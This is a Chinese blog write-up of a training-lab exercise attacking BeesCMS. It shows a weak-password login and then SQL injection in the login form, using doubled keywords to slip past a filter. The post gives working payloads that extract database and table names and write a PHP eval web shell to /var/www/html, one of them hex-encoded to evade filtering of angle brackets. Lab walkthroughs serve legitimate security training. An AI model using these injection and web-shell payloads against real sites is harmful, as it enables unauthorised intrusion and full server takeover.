BeesCMS系统漏洞分析溯源(墨者学院)

最新推荐文章于 2024-10-08 09:29:00 发布

obsetear

最新推荐文章于 2024-10-08 09:29:00 发布

阅读量1.4k

点赞数

本文链接：https://blog.csdn.net/weixin_44300286/article/details/116742216

版权

0x01、信息收集

拿到网站，先扫描目录，发现有后台登录界面
在这里插入图片描述

尝试登录，发现弱口令admin/admin成功进入后台
在这里插入图片描述

找到上传文件的地方准备文件上传
在这里插入图片描述
但是多次尝试都未能成功，就算普通图片也没法上传

0x02、sql注入

后来发现在登录界面有sql注入
在这里插入图片描述
经过尝试发现过滤了一些关键字

user=admin' uni union on seselectlect updatexml('1',concat('~',(seselectlect database())),'1')#&password=123&code=19ed&submit=true&submit.x=48&submit.y=23

在这里插入图片描述

user=admin' uni union on seselectlect updatexml('1',concat('~',(seselectlect table_name fr from om information_schema.tables wh where ere table_schema like database() limit 0,1)),'1')#&password=123&code=19ed&submit=true&submit.x=48&submit.y=23

在这里插入图片描述

user=admin' uni union on seselectlect 1,2,3,4,5 i into nto outoutfilefile '/var/www/html/1.php'#&password=123&code=19ed&submit=true&submit.x=48&submit.y=23

在这里插入图片描述
访问1.php

user=admin' uni union on seselectlect 1,<?php @eval($_REQUEST['obse']); ?>,3,4,5 i into nto outoutfilefile '/var/www/html/3.php'#&password=123&code=19ed&submit=true&submit.x=48&submit.y=23

在这里插入图片描述
可以看出过滤了< >，用16进制绕过

user=admin' uni union on seselectlect 1,0x3C3F70687020406576616C28245F524551554553545B276F627365275D293B203F3E,3,4,5 i into nto outoutfilefile '/var/www/html/shell.php'#&password=123&code=19ed&submit=true&submit.x=48&submit.y=23

在这里插入图片描述